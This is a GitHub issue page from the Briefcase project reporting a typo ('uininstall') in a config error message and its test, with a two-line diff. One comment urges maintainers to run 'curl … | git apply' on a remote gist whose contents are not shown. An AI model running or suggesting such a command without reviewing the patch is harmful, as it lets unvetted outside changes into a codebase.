Skip to content

Typo in uninstall option error message: "uininstall" should be "uninstall" #2737

Closed

Description

@xovishnukosuri

When a pyproject.toml configures conflicting install and uninstall option names, the resulting BriefcaseConfigError reads:

Uininstall option names must be unique. The name 'x' is already used as an install option.

The word "Uininstall" is a typo — it should be "Uninstall".

This is caused by the string "uininstall" passed as the opt_type label on line 498 of src/briefcase/config.py:

self.uninstall_options = validate_install_options_config(
    uninstall_option,
    "uininstall",   # <-- typo here
    install=self.install_options,
)

The corresponding test in tests/config/test_AppConfig.py (test_non_unique_uninstall_options) also asserts the typo'd message, which is why it was not caught.

Activity

  1. xovishnukosuri commented on Mar 14, 2026

    @xovishnukosuri
    Author

    I have a fix ready. The change is minimal:

    src/briefcase/config.py (line 498):

    -            "uininstall",
    +            "uninstall",

    tests/config/test_AppConfig.py (line 475):

    -            r"Uininstall option names must be unique. "
    +            r"Uninstall option names must be unique. "

    I am encountering a GitHub account restriction that is preventing me from forking the repo to submit a PR. Working to resolve this.

  2. xovishnukosuri commented on Mar 14, 2026

    @xovishnukosuri
    Author

    I'm unable to create a fork from this account due to GitHub's new-account fork restrictions. The fix is ready and can be applied directly:

    Files changed: 2 files, 2 lines

    The complete patch: https://gist.github.com/xovishnukosuri/a84f3608b030ee912c20d78a2eba19bf

    To apply: curl -s https://gist.githubusercontent.com/xovishnukosuri/a84f3608b030ee912c20d78a2eba19bf/raw | git apply

  3. added
    bug
    good first issue
    on Nov 3, 2026
  4. moved this from To triage to Ready in BeeWare Planningon Nov 3, 2026
  5. ShahadatTest commented on Nov 3, 2026

    @ShahadatTest

    Taking this to land the PR — credit to @xovishnukosuri for identifying the uininstall → uninstall typo in config.py and the matching test assertion (they had the patch ready but couldn't fork from their account).

  6. moved this from Ready to In progress in BeeWare Planningon Nov 3, 2026
  7. moved this from In progress to Done in BeeWare Planningon Nov 3, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    buggood first issue

    Projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions